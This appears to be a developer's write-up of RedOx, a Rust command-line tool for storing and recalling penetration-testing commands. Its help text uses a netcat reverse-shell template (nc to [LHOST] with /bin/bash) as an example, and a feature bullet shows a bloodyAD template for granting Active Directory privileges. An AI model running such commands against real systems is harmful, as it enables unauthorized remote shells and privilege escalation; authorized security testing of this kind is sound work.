RTFM-RedOx CLI Hacking Tool
This is a tool I wrote in Rust that is an updated CLI version of the python tool RTFM. It’s rough and a work in progress but I have found it useful and I use it often. I wanted to learn Rust and this is the project I decided on. If you want something similar to this that is really nice, check out Arsenal. It is a more feature rich and better executed version of this same concept. I imagine they spent more than two weeks on that. However, RedOx is lighter, easier to use, and easier to extend as far as adding additional content via the CLI.
list of current commands
Ctrl+r Enter quick search mode to dynamically find commands as you type.
Ctrl+c Copy currently selected command to clipboard.
Ctrl+u URL-encode and then copy currently selected command to clipboard.
Crtl+h or hist Display selectable history of already selected commands.
Ctrl+v Paste from clipboard
info Display info on the currently selected command.
env Show user variables that have already been set.
add -c Add a command to the database e.g. 'add -c nc [LHOST] [LPORT] -e /bin/bash'
update Update a database column in the selected command
e.g. comment, command, author or references
Example: update references http://blog.gregscharf.com
Esc Exit current mode.
help Display help
Ctrl+q or exit Exit redOx.
Some features and reasons to even use this
- It’s like having a terminal history for commands that are often run remotely, and are therefore not in your terminal history.
- Or maybe you’re on a new machine and the command you want to run isn’t in your terminal history yet. It comes in handy for things like:
bloodyAD --host "[RHOST]" -d "[DOMAIN]" -u "[USER]" -p "[NTHASH]:[NTHASH]" add [PRIVILEGE] "[TARGETOBJECT]" "[SOURCEOBJECT]"
. If you’ve been working on something for awhile most of those variables in the square brackets will have already been set in the CLI, so you would not need to type them again because of the automatic variable replacement. - As noted above, automatic variable replacement for any new commands you run. Each command has a number of variables in common.
- Easily add and modify the database from the CLI.
- For any command selected there are links to online resources. These can also be added and updated via the CLI.
Below is an example of using it in a lab exercise.